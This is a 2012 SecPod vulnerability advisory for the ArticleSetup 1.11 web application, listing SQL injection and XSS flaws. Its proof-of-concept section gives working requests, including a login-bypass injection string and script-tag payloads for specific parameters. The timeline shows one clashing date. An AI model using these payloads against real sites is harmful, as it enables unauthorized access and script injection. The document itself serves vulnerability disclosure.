Home / exploits ArticleSetup 1.11 Cross Site Scripting / SQL Injection
Posted on 31 March 2012
############################################################################## # # Title : ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities # Author : Antu Sanadi SecPod Technologies (www.secpod.com) # Vendor : http://www.articlesetup.com/ # Advisory : http://secpod.org/blog/?p=497 # http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt # Software : ArticleSetup v1.11 and prior. # Date : 30/03/2012 # ############################################################################### SecPod ID: 1037 23/08/2011 Issue Discovered 21/02/2012 Vendor Notified No Response from vendor 30/03/2011 Advisory Released Class: XSS/SQL Injection Severity: High Overview: --------- ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities. Technical Description: ---------------------- ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities. i) Input passed via the 'userid' and 'password' parameter in '/upload/login.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. ii) Input passed via the 'userid' and 'password' parameter in '/upload/admin/login.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. iV) Input passed via the 's' parameter in 'upload/search.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. V) Input passed via the 'id' parameter in '/upload/admin/pageedit.php', 'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. Vi) Input passed via the 's' and parameter in '/upload/search.php' page is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php' page is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php', '/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. The vulnerabilities are tested in ArticleSetup v1.10 Other versions may also be affected. Impact: -------- Successful exploitation could allow an attacker to execute arbitrary HTML code in a user's browser session in the context of a vulnerable application or to manipulate SQL queries by injecting arbitrary SQL code. Affected Software: ------------------ ArticleSetup v1.11 and prior. Tested on, ArticleSetup v1.10, v1.11 References: ----------- http://www.articlesetup.com/ http://secpod.org/blog/?p=497 http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt Proof of Concept: ----------------- POC 1: ----- SQL Injection Vulnerabilities. http://IP_ADDR/ArticleSetup/upload//feed.php?cat=' http://IP_ADDR/ArticleSetup/upload/search.php?s=%27 http://IP_ADDR/ArticleSetup/upload/admin/pageedit.php?id=%27 http://IP_ADDR/ArticleSetup/upload/admin/authoredit.php?id=%27 http://IP_ADDR/ArticleSetup/upload//admin/categoryedit.php?id=%27 POST /ArticleSetup/upload/login.php Host: IP_ADDR User-Agent: SQL INJECTION TEST Content-Type: application/x-www-form-urlencoded Content-Length: 81 Post Data: ========== userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23 POST /ArticleSetup//upload/login.php Host: IP_ADDR User-Agent: SQL INJECTION TEST Content-Type: application/x-www-form-urlencoded Content-Length: 81 Post Data: ========== userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23 POC 2: ----- Cross Site Scripting Vulnerabilities. http://IP_ADDR/ArticleSetup/upload//search.php?s=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E POST /ArticleSetup//upload/author/submit.php HTTP/1.1 Host: IP_ADDR User-Agent: STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 202 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=1&body=%3Cp%3Eantu+sanadi+barn+in+india%3C%2Fp%3E&resource=%3Cp%3Eindia+is+gereat%3C%2Fp%3E&save=Submit+Article+%C2%BB&update= POST /ArticleSetup//upload/admin/articlenew.php Host: IP_ADDR User-Agent: STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 163 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=38&body=%3Cp%3Ei+am+here%3C%2Fp%3E&resource=%3Cp%3Ewhere+are+you%3C%2Fp%3E&save=&submit= POST /ArticleSetup//upload/admin/categories.php Host: IP_ADDR User-Agent: STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 90 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&parentid=NULL&add=&save= POST /ArticleSetup/upload/admin/pages.php Host: IP_ADDR User-Agent: STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 114 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&body=%3Cp%3Edsfds%3C%2Fp%3E&onmenu=on&add=&save= Solution: ---------- Fix not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NONE CONFIDENTIALITY_IMPACT = PARTIAL INTEGRITY_IMPACT = PARTIAL AVAILABILITY_IMPACT = NONE EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N) Risk factor = High Credits: -------- Antu Sanadi of SecPod Technologies has been credited with the discovery of this vulnerability.
